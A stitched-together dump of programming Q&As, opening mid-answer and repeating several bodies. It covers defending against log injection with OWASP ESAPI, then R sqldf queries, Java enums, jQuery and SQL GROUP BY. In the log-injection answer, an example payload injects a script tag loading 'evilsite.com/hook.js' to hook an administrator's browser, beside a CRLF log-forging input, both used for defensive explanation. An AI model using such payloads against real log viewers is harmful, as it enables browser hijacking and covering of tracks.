private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}
</code>```

See lines 398-453.  That's all the escaping that ESAPI provides.  I would suggest copying the unit tests as well.

[DISCLAIMER]:  I am project co-lead on ESAPI.

[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project and make sure your inputs are properly encoded when going into logging statements--every bit as much as when you're sending input back to the user.

Body:
There is an Spring global @ExceptionHandler(Exception.class) method which logs exception like that:

@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...

Veracode scan says that this logging has Improper Output Neutralization for Logs and suggest to use ESAPI logger. Is there any way how to fix this vulnerability without changing logger to ESAPI? This is the only place in code where I faced this issue and I try to figure out how to fix it with minimum changes. Maybe ESAPI has some methods I haven't noticed?

P.S. Current logger is Log4j over slf4j

UPD:
In the end I used ESAPI logger. I thought it wouldn't use my default logging service, but I was wrong and it simply used my slf4j logger interface with appropriate configuration.

private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI has extension of log4j logger and logger factory. It can be configured what to use in ESAPI.properties. For example:

ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory

Body:
Is there any way how to fix this vulnerability without changing
  logger to ESAPI?

In short, yes.

TLDR:

First understand the gravity of the error. The main concern is in falsifying the log statments.  Say you had code like this:

log.error( transactionId + " for user " + username + " was unsuccessful."

If either variable is under user control they can inject false logging statements by using inputs like \r\n for user foobar was successful\rn thus allowing them to falsify the log and cover their tracks.  (Well, in this contrived case, just make it a little harder to see what happened.)

The second method of attack is more of a chess move.  Many logs are HTML formatted to be viewed in another program, for this example, we'll pretend the logs are meant to be HTML files to be viewed in a browser.  Now we inject <script src=”https://evilsite.com/hook.js” type=”text/javascript”></script> and you will have hooked a browser with an exploitation framework that's most likely executing as a server admin... because its doubtful that the CEO is going to be reading the log.  Now the real hack can begin.

Defenses:

A simple defense is to make sure that all log statements with userinput escape the characters '\n' and '\r' with something obvious, like '֎' or you can do what ESAPI does and escape with the underscore.  It really doesn't matter as long as its consistent, just keep in mind not to use character sets that would confuse you in the log.  Something like userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

I also find it useful to make sure that log formats are exquisitely specified... meaning that you make sure you have a strict standard for what log statements need to look like and construct your formatting so that catching a malicious user is easier.  All programmers must submit to the party and follow the format!

To defend against the HTML scenario, I would use the [OWASP encoder project][1]

As to why ESAPI's implementation is suggested, it is a very battle-tested library, but in a nutshell, this is essentially what we do.  See the code:

/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}

See lines 398-453.  That's all the escaping that ESAPI provides.  I would suggest copying the unit tests as well.

[DISCLAIMER]:  I am project co-lead on ESAPI.

[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project and make sure your inputs are properly encoded when going into logging statements--every bit as much as when you're sending input back to the user.


问:
Return more than 1 types from a table using SQL
I have a table like this

```<code>Type <- c("TEN_02","TEN_04","TEN_05",
          "JOS_01","JOS_02","JOS_03",
          "VIT_06","VIT_11","VIT_08")
Value <- c(5,8,9,11,8,4,6,6,7)
df <- data.frame(Type,Value)
</code>```

I am trying to use an sql statement to extract any types with TEN & VIT from this table.

I am able to return for one type using sqldf

```<code>library(sqldf)
df1 <- sqldf("SELECT * FROM df
             WHERE Type LIKE 'TEN%'")
</code>```

But, if I need to pass in a variable "TYPES" that has more than one type

```<code>TYPES <- 'TEN,VIT'

df1 <- sqldf("SELECT * FROM df
             WHERE Type LIKE ('",TYPES,"%')")
</code>```

I get an error

```<code>Error in rsqlite_send_query(conn@ptr, statement) :
  unrecognized token: "'"
</code>```

My desired output is

```<code>    Type Value
  TEN_02     5
  TEN_04     8
  TEN_05     9
  VIT_06     6
  VIT_11     6
  VIT_08     7
</code>```

Could someone point me in the right direction? I would like to use SQL for this instead of dplyr or data.table since I would want to apply the logic to query databases.

答:
1) First surround each type in TYPES with single quotes giving TYPESQ. Now from the example in the question it seems that the type is always the part before an underscore in Type so extract that part from Type.  (It is also the case that the types in the question are always the first 3 characters of the Type field so if that were always the case then we could simplify further by using substr(TYPE, 1, 3) in place of the more complexsubstr(...) expression shown.)  Now use in to find a match.  Prefacing sqldf with fn$ enables perl-like $ string interpolation in the SQL string so that we can substitute in TYPESQ at the appropriate point.

```<code>TYPESQ <- gsub("\\b", "'", TYPES, perl = TRUE)
sql <- "select * from df where substr(Type, 1, instr(Type, '_') - 1) in ($TYPESQ)"
fn$sqldf(sql)
</code>```

giving:

```<code>    Type Value
1 TEN_02     5
2 TEN_04     8
3 TEN_05     9
4 VIT_06     6
5 VIT_11     6
6 VIT_08     7
</code>```

To see the resulting SQL statement after string interpolation:

```<code>fn$identity(sql)
## [1] "select * from df where substr(Type, 1, instr(Type, '_') - 1) in ('TEN','VIT')"
</code>```

2) An alternative approach is to create a data frame from the types and join it to df:

```<code>TypeDF <- read.table(text = TYPES, sep = ",", as.is = TRUE, col.names = "Type")
sqldf("select d.*
       from df d
       join TypeDF t on substr(d.Type, 1, instr(d.Type, '_') - 1) = t.Type")
</code>```

Body:
I have a table like this

Type <- c("TEN_02","TEN_04","TEN_05",
          "JOS_01","JOS_02","JOS_03",
          "VIT_06","VIT_11","VIT_08")
Value <- c(5,8,9,11,8,4,6,6,7)
df <- data.frame(Type,Value)

I am trying to use an sql statement to extract any types with TEN & VIT from this table.

I am able to return for one type using sqldf

library(sqldf)
df1 <- sqldf("SELECT * FROM df
             WHERE Type LIKE 'TEN%'")

But, if I need to pass in a variable "TYPES" that has more than one type

TYPES <- 'TEN,VIT'

df1 <- sqldf("SELECT * FROM df
             WHERE Type LIKE ('",TYPES,"%')")

I get an error

Error in rsqlite_send_query(conn@ptr, statement) :
  unrecognized token: "'"

My desired output is

    Type Value
  TEN_02     5
  TEN_04     8
  TEN_05     9
  VIT_06     6
  VIT_11     6
  VIT_08     7

Could someone point me in the right direction? I would like to use SQL for this instead of dplyr or data.table since I would want to apply the logic to query databases.

Body:
1) First surround each type in TYPES with single quotes giving TYPESQ. Now from the example in the question it seems that the type is always the part before an underscore in Type so extract that part from Type.  (It is also the case that the types in the question are always the first 3 characters of the Type field so if that were always the case then we could simplify further by using substr(TYPE, 1, 3) in place of the more complexsubstr(...) expression shown.)  Now use in to find a match.  Prefacing sqldf with fn$ enables perl-like $ string interpolation in the SQL string so that we can substitute in TYPESQ at the appropriate point.

TYPESQ <- gsub("\\b", "'", TYPES, perl = TRUE)
sql <- "select * from df where substr(Type, 1, instr(Type, '_') - 1) in ($TYPESQ)"
fn$sqldf(sql)

giving:

    Type Value
1 TEN_02     5
2 TEN_04     8
3 TEN_05     9
4 VIT_06     6
5 VIT_11     6
6 VIT_08     7

To see the resulting SQL statement after string interpolation:

fn$identity(sql)
## [1] "select * from df where substr(Type, 1, instr(Type, '_') - 1) in ('TEN','VIT')"

2) An alternative approach is to create a data frame from the types and join it to df:

TypeDF <- read.table(text = TYPES, sep = ",", as.is = TRUE, col.names = "Type")
sqldf("select d.*
       from df d
       join TypeDF t on substr(d.Type, 1, instr(d.Type, '_') - 1) = t.Type")


问:
How to map enums to integers implicitliy
I know I'm not using the right jargon, but basically I want to take this code in C++ and port it over to Java

```<code>public enum Packets {

    // Maps enums to integers 0-3
    PACKET_NONE = 0, PACKET_SYNC,
    PACKET_EXPECT_TO_RECEIVE, PACKET_AVAIL_1,

    // Maps enums to integers 13-16
    PACKET_FILL = 13,  PACKET_GLASS, PACKET_FILLi, PACKET_GLASSi
}
</code>```

I want to explicitly map an enum to an int, and then have every subsequent enum implicitly map to the next increment of that integer (or some solution as close to this C code as possible).

答:
This is not that clean of a solution but if you really want to auto-initialize them to increment the same way the C++ declaration does, without explicitly defining each individual ID, you can do something like this:

```<code>public enum Packets
{
    PACKET_NONE(0),
    PACKET_SYNC(1),
    PACKET_EXPECT_TO_RECEIVE(2),
    PACKET_AVAIL_1(3),
    PACKET_FILL(13),
    PACKET_GLASS(),
    PACKET_FILLI(),
    PACKET_GLASSI();

    private int id;

    private Packets(int id) {
        this.id = id;
    }

    private Packets(){
        this.id = -1;
    }

    public final int getId() {
        return id;
    }

    public void setId(int id){
        this.id = id;
    }

    public static void initIds(){
        for(Packets p : Packets.values()){
            if(p.getId()==-1){
                if(p.ordinal()==0){
                    p.setId(0);
                }else{
                    p.setId(Packets.values()[p.ordinal()-1].getId()+1);
                }
            }
        }
    }
}
</code>```

Then you call the initialize and it will fill in the ID's for you:

```<code>Packets.initIds();
System.out.println(Packets.PACKET_AVAIL_1.getId()); //3
System.out.println(Packets.PACKET_GLASS.getId()); //13
System.out.println(Packets.PACKET_FILL.getId()); //14
System.out.println(Packets.PACKET_FILLI.getId()); //15
</code>```

edit/addition:

If you move the code from the initIds()method into a static initializer block, you do not need the initialize call somewhere in your code:

```<code>public enum Packets {
    PACKET_NONE(0),
    PACKET_SYNC(1),
    PACKET_EXPECT_TO_RECEIVE(2),
    PACKET_AVAIL_1(3),
    PACKET_FILL(13),
    PACKET_GLASS(),
    PACKET_FILLI(),
    PACKET_GLASSI();

    static {
        for (Packets p : Packets.values()) {
            if (p.getId() == -1) {
                if (p.ordinal() == 0) {
                    p.setId(0);
                } else {
                    p.setId(Packets.values()[p.ordinal() - 1].getId() + 1);
                }
            }
        }
    }

    private int id;

    private Packets(int id) {
        this.id = id;
    }

    private Packets() {
        this.id = -1;
    }

    public final int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }
}
</code>```

Body:
I know I'm not using the right jargon, but basically I want to take this code in C++ and port it over to Java

public enum Packets {

    // Maps enums to integers 0-3
    PACKET_NONE = 0, PACKET_SYNC,
    PACKET_EXPECT_TO_RECEIVE, PACKET_AVAIL_1,

    // Maps enums to integers 13-16
    PACKET_FILL = 13,  PACKET_GLASS, PACKET_FILLi, PACKET_GLASSi
}

I want to explicitly map an enum to an int, and then have every subsequent enum implicitly map to the next increment of that integer (or some solution as close to this C code as possible).

Body:
This is not that clean of a solution but if you really want to auto-initialize them to increment the same way the C++ declaration does, without explicitly defining each individual ID, you can do something like this:

public enum Packets
{
    PACKET_NONE(0),
    PACKET_SYNC(1),
    PACKET_EXPECT_TO_RECEIVE(2),
    PACKET_AVAIL_1(3),
    PACKET_FILL(13),
    PACKET_GLASS(),
    PACKET_FILLI(),
    PACKET_GLASSI();

    private int id;

    private Packets(int id) {
        this.id = id;
    }

    private Packets(){
        this.id = -1;
    }

    public final int getId() {
        return id;
    }

    public void setId(int id){
        this.id = id;
    }

    public static void initIds(){
        for(Packets p : Packets.values()){
            if(p.getId()==-1){
                if(p.ordinal()==0){
                    p.setId(0);
                }else{
                    p.setId(Packets.values()[p.ordinal()-1].getId()+1);
                }
            }
        }
    }
}

Then you call the initialize and it will fill in the ID's for you:

Packets.initIds();
System.out.println(Packets.PACKET_AVAIL_1.getId()); //3
System.out.println(Packets.PACKET_GLASS.getId()); //13
System.out.println(Packets.PACKET_FILL.getId()); //14
System.out.println(Packets.PACKET_FILLI.getId()); //15

edit/addition:

If you move the code from the initIds()method into a static initializer block, you do not need the initialize call somewhere in your code:

public enum Packets {
    PACKET_NONE(0),
    PACKET_SYNC(1),
    PACKET_EXPECT_TO_RECEIVE(2),
    PACKET_AVAIL_1(3),
    PACKET_FILL(13),
    PACKET_GLASS(),
    PACKET_FILLI(),
    PACKET_GLASSI();

    static {
        for (Packets p : Packets.values()) {
            if (p.getId() == -1) {
                if (p.ordinal() == 0) {
                    p.setId(0);
                } else {
                    p.setId(Packets.values()[p.ordinal() - 1].getId() + 1);
                }
            }
        }
    }

    private int id;

    private Packets(int id) {
        this.id = id;
    }

    private Packets() {
        this.id = -1;
    }

    public final int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }
}


问:
HTML5 acronym tag replacement using jQuery
Using jQuery, how would you replace every <acronym> tag with ?

答:
```<code>$('acronym').each(function() {
  var $this = $(this);
  $this.before('<abbr>' + $this.html() + '</abbr>');
  $this.remove();
});
</code>```


问:
Properly Use distinct with count on data from 2 different tables
I have 2 different tables with similar data on them, One is a table of part numbers where each Part number is unique and the table describes the part number, and the other table is a collection of quotes and can have a part number recur multiple times on the table.

Example:

```<code>PN Table

partNum|someOther
-------|---------
1234   | data
12345  | more data
1234-0 | no data

Quotes Table

partNum|QuoteNum
-------|---------
1234   | 1
12345  | 2
1234   | 3
1234   | 4
1234   | 5
12345  | 6
1234-0 | 7
</code>```

I have this statement that I am working with

```<code>SELECT
    DISTINCT p.partNum AS pn,
    COUNT(q.partNum) AS prevQuotes
FROM
    PN p
LEFT JOIN
    Quotes q ON p.partNum = q.partNum
WHERE
    stripped_pn LIKE '123%'
</code>```

I would have expected the statement to return multiple results with the count of occurrences from the Quote table, except I only get one result with a count.
What modification would I have to make to get the PN with the number of times it occurred in the Quotes Table?

答:
I am surprised your statement works at all. The aggregate function COUT requires a GROUP BY like so:</p>

```<code>SELECT
    p.partNum AS pn,
    COUNT(q.partNum) AS prevQuotes
FROM
    PN p
LEFT JOIN
    Quotes q ON p.partNum = q.partNum
WHERE
    stripped_pn LIKE '123%'
GROUP BY p.partNum
</code>```

Body:
I have 2 different tables with similar data on them, One is a table of part numbers where each Part number is unique and the table describes the part number, and the other table is a collection of quotes and can have a part number recur multiple times on the table.

Example:

PN Table

partNum|someOther
-------|---------
1234   | data
12345  | more data
1234-0 | no data

Quotes Table

partNum|QuoteNum
-------|---------
1234   | 1
12345  | 2
1234   | 3
1234   | 4
1234   | 5
12345  | 6
1234-0 | 7

I have this statement that I am working with

SELECT
    DISTINCT p.partNum AS pn,
    COUNT(q.partNum) AS prevQuotes
FROM
    PN p
LEFT JOIN
    Quotes q ON p.partNum = q.partNum
WHERE
    stripped_pn LIKE '123%'

I would have expected the statement to return multiple results with the count of occurrences from the Quote table, except I only get one result with a count.
What modification would I have to make to get the PN with the number of times it occurred in the Quotes Table?

Body:
I am surprised your statement works at all. The aggregate function COUT requires a GROUP BY like so:

SELECT
    p.partNum AS pn,
    COUNT(q.partNum) AS prevQuotes
FROM
    PN p
LEFT JOIN
    Quotes q ON p.partNum = q.partNum
WHERE
    stripped_pn LIKE '123%'
GROUP BY p.partNum